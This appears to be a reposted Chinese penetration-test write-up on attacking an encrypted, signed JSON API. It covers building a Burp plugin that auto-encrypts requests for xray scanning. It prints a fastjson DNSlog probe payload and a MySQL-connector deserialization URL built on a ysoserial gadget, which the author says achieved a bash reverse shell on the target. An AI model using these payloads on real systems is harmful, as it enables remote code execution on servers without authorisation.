【网络安全】记一次接口加密测试
前言
之前接到一個接口測試項目,就提供了一個demo源碼和接口設計文檔,文檔里一共有15個接口。
本來以為接口測試,只要把參數拼接上去測測就ok了(數據是json格式),但看到設計文檔里說數據又得做簽名又得做加密,這樣測試就變得繁瑣了,掃描器也掃不了。
沒加密發送,返回會顯示解密失敗。
?
其實是有幾種解決方案的,寫一個代理服務器,經過的時候做數據加密處理啥的,另一個就是寫個burp插件,做請求前的數據自動加密,這個其實用過chunked編碼插件的就很容易理解。
在這里我打算選擇后者,其實burp本身就是一個代理服務器,所以代理部分就不需要我們操心了,我們只需要解決數據處理部分。
【點擊查看網絡安全學攻略·資料】
fastjson利用
在干之前還是得先看看demo源碼有啥,因為還不清楚具體的簽名和加密的細節。
目標系統是基于java開發的,demo當然也是java了,項目是用mvn管理的,IDEA自帶mvn,就重新編譯打包一下,運行jar包運行的是一個spingboot應用,但demo里并沒有提供接口,所以其實沒啥用。
所以就翻翻其他文件,首先要看的就是pom.xml看下有哪些依賴包,提交的數據都是json的,其實也猜到一些,這里可以看到fastjson1.2.58,一個存在漏洞的版本,而目標如果一樣的話,那就可以先獲取高危一枚。
雖然還沒搞定加解密,先提交poc 嘗試
{"@type":“java.net.Inet4Address”,“val”:“123.3l6h3t.dnslog.cn”}
目標成功解析
然后上mysql connector payload。
github有一個項目也一鍵搭建一個faker mysql
https://github.com/fnmsd/MySQL_Fake_Server
讓目標發送如下,會返回一個執行的序列化對象,從而讓目標反序列化執行,構造的參數放在user字段。
mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
效果如下,解析客戶端發送的user字段,這里調用cc10執行bash反彈。
burp插件設計
回頭再看看其他源碼,有個XXXCashTest.java,是用于客戶端提交數據測試的,隨便找到一個方法,commonApplyDto是接口參數的類,通過fastjson序列化成字符串,將字符串使用AES加密,作為data的參數值,使用RSA私鑰簽名作為sign的參數值,然后再提交。他這里是loadPemKey讀取本地私鑰文件。
知道他怎么處理的插件就好些了,關于插件編寫和調試流程我之前有寫過一篇文章簡單介紹了下,也可以參考先知上的一篇文章https://xz.aliyun.com/t/7065
chunked編碼插件可實現手動編碼和自動編碼功能,就以他為模板改,先從github下載源碼
https://github.com/c0ny1/chunked-coding-converter
根據原始菜單功能,找到encoding的動作事件
里面會調用Transfer.encoding對請求數據處理
這和burp代理事件調用的是同個方法,這樣就可以一次性將手動和自動加密都搞定了。
把demo的相關類放到插件項目里,然后調整如下,為了方便插件使用,我新增一個getPemKey()方法,將私鑰寫死,方便使用,然后生成新的body,需要注意的是參數值得手動做URL編碼。
最后有個頭部的iter迭代搜索,如果匹配到content-type,那么就統一修改成x-www-form,
這個是為啥呢,是這樣,因為要測試的接口較多,而且參數也比較多,我想使用xray來掃描,那么就得將原始數據包先經過xray,xray做解析,然后再發給burp做加密,最終發送。
流程圖大致如下
但有個問題,因為設計文檔里說明提交使用application/x-www-form-urlencoded,所以在burpsuite1構造json數據提交給xray的時候,xray如果識別到是application/x-www-form-urlencoded,他不會當做json數據處理,只會當成普通表單數據,而json數據里沒有等號,所以會把整個json當成key做URL編碼,然后將payload作為value填充,大概如下,這種server肯定沒法正常處理,正常來說應該對json里的參數值做fuzz的。 (這里Content-Type忽略,測試的時候手動改過)
而只有當Content-Type: application/json時,才會正常解析,但這樣提交到server就不能做正常處理,server端只認application/x-www-form-urlencoded,所以才在插件里做了這么一個轉換。最終如下
至此burp插件寫完了,編譯打包,然后在burpsuite2(其實是找了一臺單獨的server運行)加載
自動編碼配置,右鍵菜單,勾選proxy即可。
xray構造的數據包
自動加密后的
到此接口測試準備就緒,后續就是常規的web滲透階段,愉快的在burpsuite1里構造測試數據包,并聯動xray進行自動化測試。
總結
最后 ·關注私信我獲取網絡安全學習資料·攻略
總結
以上是生活随笔為你收集整理的【网络安全】记一次接口加密测试的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 功能强大的被动开源情报自动化侦察框架
- 下一篇: 【WEB安全】Xstream最新反序列化